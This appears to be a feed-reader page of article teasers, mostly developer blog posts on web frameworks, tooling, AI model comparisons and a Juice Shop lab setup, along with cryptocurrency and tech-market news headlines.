    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less Cinema Sins just ripped into KPop Demon Hunters, counting every plot hole, cringe moment, and over-the-top demon-slaying beat in under 16 minutes. Expect snappy one-liners, cheeky callbacks, and their classic “sin” tally poking fun at all the movie’s wildest decisions. Hungry for more? Swing by their main site or hit up @TVSins, @CommercialSins, and @CinemaSinsPodcastNetwork on YouTube. You can also join the Discord and Reddit communities, fill out their quick poll, or back the team on Patreon. Big props to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel for keeping the laughs (and sins) coming! Watch on YouTube  ( 6 min )
    Mr Sunday Movies: The Sorcerer's Apprentice - Caravan of Garbage
    Disney’s once‐unshakeable empire is wobbling: Marvel and Star Wars aren’t clicking, and new films like Wish and Elio barely make a ripple. To celebrate the glorious failures of Disney’s live‐action era, the hosts are rolling out a four‐week deep dive into the company’s biggest flops—kicking things off with 2010’s Nicolas Cage–led Sorcerer’s Apprentice, a forgettable magic caper featuring a giant bird and precious little else. Beyond the laughs and brutal critiques, they’ve got bonus content galore—early videos, podcasts, movie commentaries and Let’s Plays at bigsandwich.co, an extended audio edition on YouTube, plus Twitter updates, Patreon perks, merch and more. Strap in for a wild ride through Disney’s dumpster fire of live‐action misfires. Watch on YouTube  ( 6 min )
    Mastering Dart Enums: From Basic Lists to Supercharged Classes
    If you’ve ever written status == 'active' in your code and then spent hours debugging a typo because you wrote 'actve', you know why we need Enums. Enums (Enumerations) are just a fancy way of saying "a fixed list of options." They stop you from making silly spelling mistakes. But in Dart, Enums have evolved. They aren't just simple lists anymore; they are Enhanced Enums. They can hold data, run logic, and even talk to your database. Let's break down how they work, why they look a bit weird sometimes, and how to master them. In the old days (or other languages), an Enum was just a list of names. enum BannerStatus { active, inactive, scheduled, expired } This is great for your code: if (status == BannerStatus.active) works perfectly. if (status == BannerStatus.activ) throws an err…  ( 8 min )
    A Decade of AI in K–12 Education: Evaluating Trends, Impact, and Classroom Integration
    Artificial intelligence in K–12 classrooms is no longer just a speculative topic in conference proceedings — it’s a messy, fast-moving reality. After conducting a literature review in a class I took, it was clear that AI shows promise for applications in the classroom and efficiency. But it isn’t a replacement for teachers and raises privacy, bias, and equity issues. That high-level judgment still stands in 2025. But the degree and shape of those promises and risks have shifted quickly over the 2-3 years. A lot of the literature pieces that were looked at in the review were from 2015-2022, but AI has changed and developed a lot as a field in just a small period of time. And I saw a few similarities and differences between these published papers and current surveys and research. My review h…  ( 8 min )
    Claude Code Skill for WordPress Performance Reviews
    What if you could get a performance code review from someone who's seen WordPress sites fail under load and remembers all the patterns that caused it? That's what this Claude Code skill does. It knows 50+ anti-patterns that cause WordPress performance problems, and it flags them with severity levels, line numbers, and explanations of what actually happens when they run in production. I built it because I kept seeing the same issues over and over. A site works fine in development, handles QA traffic without problems, then gets on the news and falls over within an hour. The code wasn't "wrong", it just had patterns that don't survive real traffic. Unbounded database queries. Cache bypass. N+1 problems. Accidental self-DDoS from polling. These things are invisible until they're not. TL;DR: Th…  ( 14 min )
    750+ Free Tailwind CSS Components & Blocks
    I spend a lot of time building UI. Landing pages, dashboard layouts, login screens… the usual. After a while, I realized I was repeating the same structure again and again. So I started creating reusable components with Tailwind CSS to speed things up. Over time, that turned into a full library with 750+ copy-paste components and layout blocks you can drop straight into your project. I wanted to share a few highlights and also give you the full source where you can explore everything. Tailwind makes it easy to stay consistent with spacing, typography, and responsive design. When you combine that with reusable components, you cut a lot of time from your build. You can focus on real features and skip the boring layout work. A few design rules I follow: Give elements room to breathe Keep typography clean Make the primary action obvious Don’t overload with effects unless needed Simple UI often performs better Hero sections (for all kinds of landing pages) Navbars/Headers Pricing tables with clean structure Authentication pages (login, signup) Contact forms with clear field layout Testimonials and feature blocks Sidebars and dashboard layouts Whatever page you’re working on, you can usually start with one of these. Hero example Pricing example If you want to browse everything, all 750+ components and blocks are available here: 👉 readymadeui.com You can copy the code directly into your Tailwind project. New layouts are added regularly, and I’m happy to take suggestions if something is missing. UI doesn’t have to slow you down. With a solid set of components, you can launch faster, test ideas quicker, and spend more time on what actually matters. If you check out the library, I’d love feedback on: What components you rely on the most What layouts I should add next Anything that could be improved in structure or accessibility Thanks for reading — hope these help you ship faster!  ( 7 min )
    Accessible forms: Grouped form fields
    Check out this Pen I made!  ( 5 min )
    Is copy-pasting from the clipboard in Vim broken for you on Wayland?
    Vim uses registers to store copied text and paste from, rather than the system clipboard. When copy-pasting from another app, this isn't ideal, since the clipboard is inaccessible within Vim. To avoid this, the clipboard flag needs to be set. To check it, run $ vim --version This output contains all the flags that are set. If you see +clipboard, you're good. Otherwise, you'll have to recompile Vim with this flag, but the easier solution would be to additionally install vim-gtk3. Then, add set clipboard=unnamedplus to your ~/.vimrc. The above solution used to work on X11, but it only partially works on Wayland. Yanking text copies it to the clipboard, but pasting still uses Vim's internal register. Even explicitly pasting from the clipboard register with "+p doesn't work. If you are also …  ( 8 min )
    Accessible Typography - Structure
    Check out this Pen I made!  ( 5 min )
    Accessible Typography - Letter characteristics
    Check out this Pen I made!  ( 5 min )
    Accessible Typography - Typeface
    Check out this Pen I made!  ( 5 min )
    Accessible Motion - @prefers-reduced-motion (motion default)
    Check out this Pen I made!  ( 6 min )
    AI in Medicine: A Physician–Engineer’s Perspective on the Future of Healthcare
    By Dr. Alireza Minagar — Software Engineer, AI Researcher, Bioinformatics Scientist, and Author Artificial intelligence is transforming nearly every industry, but its impact on healthcare is deeper, faster, and more disruptive than any other domain. As both a physician–researcher and a software engineer working in AI and bioinformatics, I see medicine not as a siloed profession, but as a data-driven ecosystem ready for reinvention. AI is not just automating tasks or digitizing workflows. My goal in this article is to share a dual perspective: Why AI Matters in Modern Medicine Medicine has always relied on pattern recognition: Radiology interprets pixel-level patterns Behavioral medicine interprets cognitive patterns Cardiology interprets electrical patterns Pathology interprets cellular patterns Bioinformatics interprets genomic patterns AI, fundamentally, is a pattern-recognition engine capable of processing scale far beyond human capability. Where a clinician may analyze a dozen variables, a modern model can process thousands—across modalities: MRI data Electronic health records Voice and language biomarkers Wearable signals Genomic sequences Environmental data This is augmented intelligence, not replacement intelligence. Image Disclosure: The header image was generated using AI for illustrative and educational purposes and does not depict real medical data or real clinical environments. ⭐ SEO Keywords (for indexing) AI in medicine, artificial intelligence in healthcare, future of healthcare, machine learning, bioinformatics, software engineering, healthcare technology, physician–engineer, computational medicine, data-driven healthcare, AI research, Dr. Alireza Minagar.  ( 7 min )
    📁Kubernetes Project Folder Structure
    A well-structured Kubernetes project repo usually looks like this: k8s-project/ ├── README.md ├── docs/ ├── manifests/ │ ├── namespaces/ │ ├── deployments/ │ ├── services/ │ ├── ingresses/ │ ├── configmaps/ │ ├── secrets/ │ ├── storage/ │ └── crds/ ├── overlays/ │ ├── dev/ │ ├── test/ │ └── prod/ ├── charts/ ├── scripts/ ├── ci-cd/ └── templates/ Now let's break down every folder, its purpose, what goes inside, and why it exists. README.md Your project documentation. Overview of the application How to deploy Pre-requisites (kubectl, kustomize, helm, cluster roles) CI/CD instructions docs/ – Architecture Documentation Used for: Architecture diagrams Flowcharts Troubleshooting guides Onboarding docs Example: docs/ ├── architecture.png ├── sequence-flows.md └─…  ( 8 min )
    Async-Revolution-The-New-Paradigm-of-High-Concurrency-Programming
    GitHub Home That was at a financial technology company where we needed to build a trading system capable of handling hundreds of thousands of concurrent connections. Traditional synchronous IO models were completely inadequate for this scenario, as each thread blocking waiting for network responses would exhaust system resources. When the technical director handed me this important task, I knew clearly: this was the ultimate test of async programming capabilities. I began researching various async implementation approaches. Node.js's event loop mechanism was an early async exploration that avoided thread switching overhead through single-threaded event-driven design. This design philosophy was revolutionary at the time, but faced with modern multi-core processors, the limitations of single…  ( 9 min )
    Dev-Experience-Glorious-Transformation
    GitHub Home I remember the scene when I first encountered this framework. It was a Sunday afternoon, and I was having a headache over an architectural problem of a project. Our codebase was becoming increasingly complex, performance problems were emerging one after another, and complaints from team members were endless. At this moment, a young colleague recommended this framework to me. Honestly, I was skeptical at the time. "Another web framework?" I muttered to myself, "I've seen too many." But out of respect for my colleague, I still decided to give it a try. What shocked me was that from the first "Hello World," I felt an unusual development experience. No complex configuration files, no lengthy dependency installation process, and certainly none of those "convention over configuration…  ( 9 min )
    How Does Gemini 3 Process Our Queries?
    The Multi-Step Workflow from Client Input to Agentic Reasoning and Final Output Gemini 3, Google's advanced multi-modal AI model, uses a highly complex and sequential process to understand a user's query and generate a comprehensive, accurate response. This workflow goes far beyond simple text prediction, incorporating modality fusion, external tool calls, self-correction, and robust safety checks. The process begins with the raw user data and prepares it for the core model: Client Input: The user provides an input, which can be text, image, audio, or a combination (multi-modal). For example, asking: "How much does a tiger weigh?" while including an image of a tiger. Preprocessing and Tokenization: The raw input is cleaned and broken down into smaller, numerical units (tokens/embeddings)…  ( 8 min )
    The new gold rush is not the next AI productivity app. It's building the critical infrastructure for the startups.
    Why AI Infrastructure Startups Are the Real Gold Rush Jaideep Parashar ・ Nov 29 #ai #buildinpublic #development #webdev  ( 6 min )
    Kicking Off: Expert Analysis for World Cup 2026
    The countdown to the highly anticipated World Cup 2026 has begun, and national teams around the globe are intensifying their preparations for the biggest stage in international football. In recent news, USA Basketball Women's National Team announced a December training camp to fine-tune their skills and strategy ahead of the global tournament. This development serves as a reminder that team preparation is key to success at the World Cup. Training camps are an essential part of a national team's preparations for major tournaments like the World Cup. These camps provide an opportunity for teams to come together, bond, and fine-tune their tactics under the guidance of experienced coaches. By gathering top players from across the country, teams can: Develop chemistry: Building trust and unde…  ( 8 min )
    Why AI Infrastructure Startups Are the Real Gold Rush
    Everyone is talking about AI apps. But here’s the truth that most founders and investors will realise too late: The real opportunity in AI isn’t in the apps. Not the shiny front-end tools. The deepest, most durable value is in the: orchestration layers data pipelines agent frameworks evaluation systems vector infrastructure monitoring tools automation backbones memory systems inference optimisation layers This isn’t the glamorous part of AI. Let me break down why. 1. AI Apps Are Easy to Build, and Easy to Kill Most AI apps today can be built in: a weekend with a small team with a simple UI on top of existing APIs The barrier to entry is low. And because they're all built on the same models, the differences between them are: invisible small temporary If your product depends entirely on an A…  ( 10 min )
    Server Components aren't SSR!
    React Server Components vs. Server-Side Rendering: what’s really happening under the hood  ( 5 min )
    The Secret Life of Go: Maps
    Chapter 5: Keys, Values, and the Art of Looking Things Up Friday morning arrived with clear skies. Ethan descended to the archive carrying the usual coffee tray and a small paper bag. Eleanor looked up from her desk. "What did you bring today?" "Black and white cookies. I figured we've covered enough territory this week to deserve them." She smiled and took one. "The optimist's cookie—never commit to just one flavor. Appropriate for today's topic." "Which is?" "Maps. Or as other languages call them: dictionaries, hash tables, associative arrays. The data structure for when you need to look things up." Eleanor opened her laptop and typed: package main import "fmt" func main() { var ages map[string]int fmt.Println(ages) } She ran it: map[] "This declares a map. map[string]int m…  ( 12 min )
    Hacia una Tipografía Web Accesible para la Dislexia: Evidencia Neurocognitiva, Guías W3C y Recomendaciones de Diseño CSS
    Resumen Este artículo sustenta que la accesibilidad tipográfica para personas con dislexia en entornos digitales no se logra mediante la adopción de una "fuente mágica" (p. ej. OpenDyslexic), sino a través de un conjunto de decisiones de diseño sistemáticas: tipografías sans‑serif estándar bien configuradas, espaciado cuidadosamente ajustado, contraste cromático moderado, alineación no justificada y, sobre todo, amplias opciones de personalización por parte del usuario. Se argumenta que la teoría del déficit fonológico, complementada por la evidencia sobre alteraciones magnocelulares y de "temporal sampling", ofrece el marco neurocognitivo más sólido para entender la dislexia; sin embargo, estos déficits se expresan en la interfaz a través de fenómenos como el crowding visual, la sensibi…  ( 18 min )
    Instalar JUICE SHOP (owasp) en Linux
    En mi caso voy a instalarlo en parrot y hacerlo funcionar de manera sencilla con tres simples pasos. OWASP Juice Shop es un entorno de práctica de ciberseguridad. Piensa en él como un “juego de hacking legal”: Es una aplicación web falsa, parecida a una tienda online (de jugos, de ahí el nombre). Tiene fallos de seguridad intencionales de todo tipo: SQL Injection Cross-Site Scripting (XSS) Cross-Site Request Forgery (CSRF) Autenticación rota Exposición de datos sensibles Y muchos más En mi caso voy a crear un contenedor en el cual estará instalada la pagina web de Owasp Juiceshop y a la cual podremos atacar sin ningún temor al estar instalada en mi propio equipo (localhost). Para instalar el Docker o Contenedor en linux habremos de ser administradores: sudo su seguimos instalando el docker apt install docker.io nos aseguramos que funciona docker --version docker ps e instalamos juiceshop y le damos el puerto 3000, que será el puerto por el que accederemos a la web para verla. docker run -d --name juice-shop -p 3000:3000 bkimminich/juice-shop -d → ejecuta en segundo plano --name juice-shop → nombre del contenedor -p 3000:3000 → expone el puerto 3000 para acceder desde mi navegador accedemos vía navegador web. En mi caso Firefox y vemos la famosa web de practicas. Ahí verás la tienda simulada, lista para aprender y practicar conceptos de seguridad de manera ética. Ale, a trabajar.  ( 6 min )
    Async-Programming-New-Era
    GitHub Home As a veteran with 40 years of programming experience, I have experienced various stages of async programming development. Remember those days of writing code with callback hell? Every asynchronous operation required a callback function, and nested callbacks formed a terrifying pyramid, making code readability and maintainability extremely poor. At that time, I often stayed up late debugging those complex callback chains, where a single indentation error could crash the entire application. Then the emergence of Promise gave us a glimmer of hope. Although Promise made async code flatter, chained calls still seemed lengthy, and error handling was relatively complex. I clearly remember once when dealing with complex business logic, I wrote dozens of lines of then chains, only to fi…  ( 9 min )
    Local LLM Hosting: Complete 2025 Guide - Ollama, vLLM, LocalAI, Jan, LM Studio & More
    Local deployment of LLMs has become increasingly popular as developers and organizations seek enhanced privacy, reduced latency, and greater control over their AI infrastructure. The market now offers multiple sophisticated tools for running LLMs locally, each with distinct strengths and trade-offs. Before cloud-based AI services dominated the landscape, the idea of running sophisticated language models on local hardware seemed impractical. Today, advances in model quantization, efficient inference engines, and accessible GPU hardware have made local LLM deployment not just feasible but often preferable for many use cases. Key Benefits of Local Deployment: Privacy & data security, cost predictability without per-token API fees, low latency responses, full customization control, offline cap…  ( 20 min )
    Beyond the Pinch: Unlock New Robotic Dexterity with Hybrid Gripping
    Beyond the Pinch: Unlock New Robotic Dexterity with Hybrid Gripping Tired of robots struggling with simple tasks like wiping a counter or opening a handle-less drawer? Traditional robotic grippers often fall short when facing objects requiring more than just a firm grasp. What if your robot could adapt to handle slick surfaces and delicate objects with ease? The answer lies in hybrid gripping: a revolutionary technique that combines the precision of a mechanical gripper with the adhesive power of vacuum suction in a single end-effector. This dual-mode approach enables robots to perform a wider range of tasks, switching seamlessly between gripping and suction as needed, or even using both simultaneously. Think of it like this: a standard gripper is like a hand that can only pinch, while a…  ( 7 min )
    Monetzly: The AI Monetization Tool for LLM App Developers
    Traditional Ads Don't Work in AI Conversations. Here's What Does. As the landscape of AI applications continues to expand rapidly, many developers face a crucial challenge: how to effectively monetize their innovations without compromising user experience. Enter Monetzly—a platform that redefines the advertising paradigm for AI conversations. Imagine a world where you can monetize your app and earn from hosting relevant ads, all while keeping user engagement seamless. Let’s dive into how Monetzly’s innovative advertiser marketplace makes this possible. Monetzly is the first platform designed specifically for developers to monetize their AI applications through a dual-earning system. This means you can earn revenue from two sources: Direct Monetization: Integrate our SDK in just five min…  ( 7 min )
    Linux vs Windows for Development in 2025
    Which Operating System Is Better for Developers Choosing the right operating system is one of the most important decisions for a developer. The OS you work on shapes your workflow, your toolchain, your performance, and even your long term productivity. Linux and Windows remain the two leading platforms for development. Both are powerful and widely adopted, but they offer very different experiences. This article breaks down how they compare and which one is better depending on your development goals. What Linux Offers Developers Linux is built around openness, stability, and control. It gives developers deep access to the system while remaining lightweight and efficient. Most modern programming languages and server technologies were built with Linux as the primary target. This makes Linux a…  ( 8 min )
    Node.js vs PHP: Which One Is Better for Modern Web Development in 2025
    Choosing a backend technology is one of the most important decisions in web development. Node.js and PHP are two of the most widely used technologies today. Both are powerful, both have large ecosystems, and both can support production grade applications. However they differ in design philosophy, performance, scalability, and overall developer experience. This article explains their strengths, weaknesses, and which one fits best for different types of projects. > What Node.js Is Node.js is a JavaScript runtime built on the V8 engine. It is designed around an event driven and nonblocking architecture which makes it highly efficient for handling large numbers of simultaneous connections. Developers benefit from using the same programming language on both the client and the server. This gives…  ( 8 min )
    Connection-Management-Wisdom
    Hyperlane is a lightweight and high-performance Rust HTTP server library designed to simplify network service development. It supports HTTP request parsing, response building, TCP communication, and redirection features, making it ideal for building modern web services.  ( 5 min )
    I Built My Entire Website in 4 Hours Using AI (Cursor + Antigravity) 🚀
    Let’s address the elephant in the room: I didn't write a single line of code for this project manually. Okay, that’s a bit of a lie. I read every line, but my hands were mostly on the coffee mug while the AI did the heavy lifting. I recently decided to run an experiment: create a fully functional, high-performance portfolio site generating 100% of the code via AI. The result? A project that would have usually taken me a week of late nights was done in 4 hours of prompting spread over two days. You can see the final, live result here: stackbyte.dev Here is how I did it, the stack I used, and why I think AI is the ultimate "adventure companion" for devs. I didn't just use ChatGPT and copy-paste into VS Code. I needed a highly integrated flow capable of handling a modern, production-ready sta…  ( 8 min )
    **Title:** Amundi Pioneers Blockchain-Based Fund Distribution with Launch of Tokenized Money Market Fund on Ethereum
    Title: Amundi Pioneers Blockchain-Based Fund Distribution with Launch of Tokenized Money Market Fund on Ethereum Introduction The adoption of blockchain technology in the financial sector has been gaining momentum in recent years, with a growing number of institutions exploring its potential for secure, transparent, and efficient fund distribution. In a significant development, Amundi, Europe's largest asset manager, has launched its first tokenized share class on Ethereum, marking a major milestone in the continent's shift toward blockchain-based fund distribution. A Major Step in Blockchain Adoption Amundi's decision to launch a tokenized money market fund on Ethereum underscores the rapid growth of this emerging asset class. Tokenized money market funds offer investors a new way to ac…  ( 7 min )
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    Check out this Pen I made!  ( 5 min )
    [AWS] DevTools Evangelism: CodeCommit Edition
    This article is a machine translation of the contents of the following URL, which I wrote in Japanese: https://qiita.com/Nana_777/items/a8be2eee9ee9d81326cb This article is the first day of the Japan AWS Top Engineers Advent Calendar 2025. AWS CodeCommit, whose phase-out was announced in July 2024, was canceled on November 24, 2025, and it became generally available again. ↓Article about AWS CodeCommit's re-release https://aws.amazon.com/jp/blogs/news/aws-codecommit-returns-to-general-availability/ ↓Click here for the Japan AWS Top Engineers Advent Calendar 2025 https://qiita.com/advent-calendar/2025/aws-top-engineers AWS CodeCommit is a version control service provided by AWS that hosts repositories. Similar services include GitHub and GitLab. In the CodeCommit console, select "Create Rep…  ( 9 min )
    Winning Grant Proposals: AI Illustration Techniques That Convince
    Winning Grant Proposals: AI Illustration Techniques That Convince Grant applications represent career-defining moments for researchers, determining funding for years of investigation and team development. Whether you're applying to NIH, NSF, European Research Council, or private foundations, compelling visuals can differentiate your proposal in highly competitive review processes. However, creating professional grant graphics presents significant challenges: limited illustration budgets during proposal preparation, tight submission deadlines leaving minimal time for visual development, and the need to communicate complex methodologies to interdisciplinary review panels. AI-powered illustration is transforming how researchers strengthen grant applications. Complex research designs that onc…  ( 22 min )
  • Open

    Bitcoin ETFs Are Now BlackRock’s Top Revenue Source, Exec Says
    The firm's US-listed spot bitcoin ETF IBIT, launched in January 2024, reached $70 billion in assets in record time and has generated hundreds of millions in fees.  ( 32 min )
    Meet the Billion-Dollar Crypto Founder Who Started Trading at 9 Years Old
    Denis Dariotis, the youthful founder and CEO of cryptocurrency-focused trading software firm GoQuant, talks about building a billion-dollar-a-day trading startup during his formative years.  ( 35 min )
    Strategy CEO: Equity and Debt Flexibility Power Long-Term Bitcoin Accumulation Plan
    Phong Le says Strategy has no near-term debt maturity risk and plans to continue using convertibles and equity to grow its bitcoin position over time.  ( 35 min )
    Stablecoins Drive 90% of Brazil’s Crypto Volume, Tax Authority Data Shows
    A new reporting system, DeCripto, will be introduced in July 2025 to track crypto transactions.  ( 32 min )
    Crypto Payments Firm Truther to Launch Non-Custodial USDT Visa Card in El Salvador
    The card doesn't require preloading funds or custodial services, and carries a 2% fee on currency conversions, with no IOF tax for Brazilian users.
    State of Crypto: Kalshi and Prediction Markets Face a Setback
    The court cases will continue for the moment.
    ‘Privacy Is the Immune System of Freedom’: Crypto Advocacy Sparks Uproar in São Paulo
    An executive at a Brazil-based crypto firm argued that increasing regulation and surveillance are a threat to freedom, and that P2P tech remains a vital line of defense.
    Why Gold Is Winning Over Bitcoin in 2025: Liquidity, Trade, and Trust
    Despite ETF hype, central banks and asset allocators continue to choose gold over crypto for reserve and trade purposes.
    Bitcoin Pricing in 'Most Bearish Global Growth Outlook' Since Covid and FTX Crash: Bitwise Research
    Despite low sentiment and falling prices, Bitwise’s André Dragosch says bitcoin is trading as if a recession is imminent, while macro growth expectations are already improving.
    Has XRP Finally Bottomed? Key Support Holds as Wave-5 Breakout Trigger Nears
    A close above $2.22 would confirm a bullish trend, while failure to hold $2.17 could lead to further declines.
    Bitcoin's 'Coinbase Premium' Flips Positive After Weeks in the Red
    The premium — which tracks the price spread between Coinbase and the global market — acts as a read on U.S. capital flows in previous cycles.
  • Open

    Why observable AI is the missing SRE layer enterprises need for reliable LLMs
    As AI systems enter production, reliability and governance can’t depend on wishful thinking. Here’s how observability turns large language models (LLMs) into auditable, trustworthy enterprise systems. Why observability secures the future of enterprise AI The enterprise race to deploy LLM systems mirrors the early days of cloud adoption. Executives love the promise; compliance demands accountability; engineers just want a paved road. Yet, beneath the excitement, most leaders admit they can’t trace how AI decisions are made, whether they helped the business, or if they broke any rule. Take one Fortune 100 bank that deployed an LLM to classify loan applications. Benchmark accuracy looked stellar. Yet, 6 months later, auditors found that 18% of critical cases were misrouted, without a single a…
  • Open

    JBL Introduces New PartyBox Lineup In Malaysia; Starts From RM2,099
    JBL has announced its latest additions to the PartyBox speaker series for the Malaysian market. The new lineup, which comprises the PartyBox 520 and Encore 2, brings together upgraded hardware and software features, including JBL Pro Sound and AI Sound Boost. Several features are shared across the two newly launched models. Bluetooth 5.4 with LE […] The post JBL Introduces New PartyBox Lineup In Malaysia; Starts From RM2,099 appeared first on Lowyat.NET.  ( 34 min )
    Kia Ends Bermaz Auto Partnership And Prepares Direct Malaysian Operations For 2026
    Bermaz Auto and Kia have mutually agreed to end their distribution partnership, which began in April 2021. Following this decision, Kia announced that it will establish its own direct presence in the Malaysian market starting 1 January 2026. For the past four years, Bermaz Auto, through its subsidiary Dinamikjaya Motors Sdn Bhd, served as the […] The post Kia Ends Bermaz Auto Partnership And Prepares Direct Malaysian Operations For 2026 appeared first on Lowyat.NET.  ( 35 min )
    ASUS ExpertBook P5 Lightning Review: Mostly All Business
    The ASUS ExpertBook serves as the brand’s business-focused range. Among the products in this lineup, the P5 is meant for those who want a portable powerhouse for productivity purposes. After spending some time with the laptop for work (and admittedly for play), it’s safe to say that it’s a pretty reliable workhorse. It does what […] The post ASUS ExpertBook P5 Lightning Review: Mostly All Business appeared first on Lowyat.NET.  ( 38 min )
    Huawei Mate X7 Global Debut Slated For 11 December 2025
    Earlier this week, Huawei unveiled its newest book-style foldable in its home market. Shortly after the China launch of the Mate X7, the company revealed that it will be releasing the smartphone globally. Through its official social media accounts, Huawei announced that it will host a “Flagship Product Launch” in Dubai on 11 December 2025. […] The post Huawei Mate X7 Global Debut Slated For 11 December 2025 appeared first on Lowyat.NET.  ( 33 min )

  • Open

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  • Open

    Your Company Page Is Getting Ignored: LinkedIn's Quiet Algorithm Revolution
    Last month, I ran a simple test. Same content. Same time of day. One post from our company page, one from my personal profile. The personal post got 8x more impressions and 12x more engagement. This wasn't a fluke. It's the new reality of LinkedIn in 2025, and if you're still pouring resources into company page content while wondering why your reach keeps declining, well... now you know. LinkedIn hasn't exactly announced this shift with a press release. But the data is everywhere once you start looking. Personal profiles are seeing 5-10x higher organic reach than company pages for similar content. HubSpot's social team noticed it. Buffer documented it. And every B2B marketer I know has been quietly freaking out about it since mid-2024. The engagement gap is even starker. Comments, shares, …  ( 12 min )
    Finding Strength in Code, Part 2: Lessons from Loss and the Power of Reflection
    It’s been more than a year since I published the post — Finding Strength in Code: Navigating Emotional Overwhelm as a Software Engineer — and yeah, the trip from there to here was worth it. At some point, I realised I had built a whole personality just to fit in a place that wasn’t mine. Fixing that mess turned out to be one of the most significant projects of my life, and strangely enough, my job was one of the main tools that helped me do it. Years of tackling complex codebases and deadlines didn't just sharpen my technical skills; they equipped me to address my personal struggles and sustain a more profound sense of purpose amid life's chaos. My inspiration for this follow-up struck at the crossroads of my daily grind and more profound reflections. Recently, my dog passed away, and once…  ( 10 min )
    Introducing 8-bitHero Labs: Building Neurodivergent-Optimized AI
    Introducing 8-bitHero Labs: Building Neurodivergent-Optimized AI I'm autistic and ADHD. I'm also a developer building AI. The Problem Pattern recognition (especially obscure connections) Hyperfocus (going deep on complex problems) Lateral thinking (unconventional problem-solving) Detail orientation (catching what others miss) Systems thinking (understanding how pieces fit together) Yet when we use AI, it's optimized for neurotypical cognition. It doesn't understand our thinking style. It doesn't support our strengths. The Vision What if we built an AI that did? Understands pattern-based thinking Supports executive function challenges Helps with emotional communication and processing Works as a daily companion for people with disabilities Leverages the unique strengths of neurodivergent …  ( 7 min )
    Best AI Model 2025: Claude 4.5 vs ChatGPT 5.1 vs Gemini 3
    In the closing stretch of 2025, three frontier models have effectively defined the state of AI: Anthropic’s Claude Opus 4.5, OpenAI’s ChatGPT 5.1 (GPT-5.1), and Google DeepMind’s Gemini 3 Pro. Each sits at the top of its respective stack. Each claims “state-of-the-art” status. And each is, in practice, very good at slightly different things. All three are: Large, transformer-based systems with frontier-scale training runs Tuned with some mix of RLHF, AI feedback, and heavy agent/tool-use data Capable of multi-step reasoning, coding, and handling massive context windows But if you’re a developer, architect, or product lead, the question is not “which is best in the abstract?” It’s which one is best for my workload – and when does the answer change? This deep dive compares Claude Opus 4…  ( 21 min )
    I built a forensic ATS scanner in 96 hours using LLMs as my backend team. Here is the stack.
    I’m 19. No team. No VC funding. Just me and a laptop. Last week reality hit me hard. I applied to 127 jobs and got 0 interviews. I know I'm a solid dev, so I figured something was broken technically. I dug into the parsing logic of legacy ATS systems like Workday and Taleo. Turns out my "modern" resume was being read as total gibberish because I used columns. I wanted to build a tool to fix this for everyone else. Usually building a full SaaS takes months. I gave myself 4 days. Here is how I built InterviewGhost.us by acting as the Architect and using AI as my engineering team. The Stack Frontend: Next.js + Tailwind. I iterated this via Claude 3.5 Sonnet using "Linear-style" design tokens. Backend: Node.js + Puppeteer. Used this for the forensic PDF generation. Logic: DeepSeek-V3. Used it …  ( 7 min )
    What Is Claude Opus 4.5? Anthropic’s New Frontier AI
    Claude Opus 4.5 is Anthropic’s latest flagship model in the Claude 4.5 family, released in late November 2025. It sits at the very top of the Opus–Sonnet–Haiku hierarchy: the highest-capacity, highest-cost, and most capable tier, aimed squarely at researchers, engineers, and teams building serious AI systems rather than casual chatbots. Opus 4.5 is not just “Claude, but bigger.” It combines: A massive context window with automatic long-term memory management New controls over reasoning depth and token usage Strong tool-use and multi-agent orchestration abilities And an ambitious safety pipeline that Anthropic claims makes it their most aligned model to date In this deep dive, we’ll unpack what Claude Opus 4.5 is, what’s new under the hood, how it was trained and aligned, and how it …  ( 23 min )
    Finding Balance in Architectural Decisions
    In software projects, not every decision needs a full-blown architectural committee or a 30-page design document. But the opposite is also true: some decisions are too important to be treated as a simple quick fix. Every engineering team faces moments where they need to choose between doing something the right way or doing something fast. In Brazil, we often call the fast solution a gambiarra or puxadinho, an improvised workaround that solves the problem for now but usually comes with long-term costs. In English, the closest terms would be a patch, hacky fix, temporary workaround, or band-aid solution. And the reality is: sometimes you do need a quick workaround to move forward. Deadlines exist, business pressure is real, and teams often need short-term progress. The problem starts when th…  ( 7 min )
    Best AI Model in 2025? Gemini 3 vs GPT-5.1 vs Claude 4.5
    Best AI Model in 2025? How Gemini 3, ChatGPT 5.1 and Claude 4.5 Really Compare The closing weeks of 2025 have turned into the most intense AI model showdown we have seen so far. Within a span of weeks: OpenAI shipped GPT-5.1 on November 12 Google responded with Gemini 3 on November 18 Anthropic quietly kept iterating on Claude Sonnet 4.5 throughout September–November For the first time, three frontier systems sit in roughly the same capability band—yet differ sharply in architecture, philosophy, cost, and “personality.” This comparison is based on late-2025 benchmarks, independent leaderboards, developer usage patterns, and enterprise rollouts, not recycled 2024 hype. As of November 23, 2025, here is how Gemini 3, ChatGPT 5.1 and Claude 4.5 actually stack up. At a high level, all …  ( 18 min )
    What Is Meta SAM 3D? Single-Image 3D in 2025
    In November 2025, Meta quietly flipped an important switch in computer vision. With the launch of SAM 3D, the company extended its Segment Anything line from flat pixels into full 3D, turning a single everyday photograph into a textured object you can spin, inspect, and drop into a virtual scene. Instead of treating 3D reconstruction as a specialist pipeline that needs multi-view rigs and depth sensors, Meta SAM 3D asks for just one RGB image and produces a complete 3D mesh — sometimes for entire scenes, sometimes for the human body. It’s open-source, promptable, and already establishing a new baseline for what “single-image 3D” means in practice. This article explains what Meta SAM 3D is, how it works under the hood, which use cases it unlocks, and how it compares to other state-of-the-a…  ( 22 min )
    What Is GPT-5.1-Codex-Max? OpenAI's 2025 AI Coder
    In late 2025, OpenAI introduced GPT-5.1-Codex-Max, a model designed not just to autocomplete code, but to behave like a long-running, tool-using coding agent. Instead of thinking in terms of “responses” or “snippets,” Codex-Max is built to sustain hours or even days of coherent work on a single software project. This article takes a technical, editorial look at what GPT-5.1-Codex-Max is, how its “compaction” mechanism enables long-horizon reasoning, and how developers in the US, EU, and APAC regions can actually use it inside real workflows. We will also examine its benchmarks, pricing implications, and operational guardrails. OpenAI’s GPT-5.1 is the general-purpose conversational model in the GPT-5 family: it handles dialogue, reasoning, and writing across domains. The GPT-5.1-Codex line…  ( 20 min )
    Middleware-Perfect-Symphony
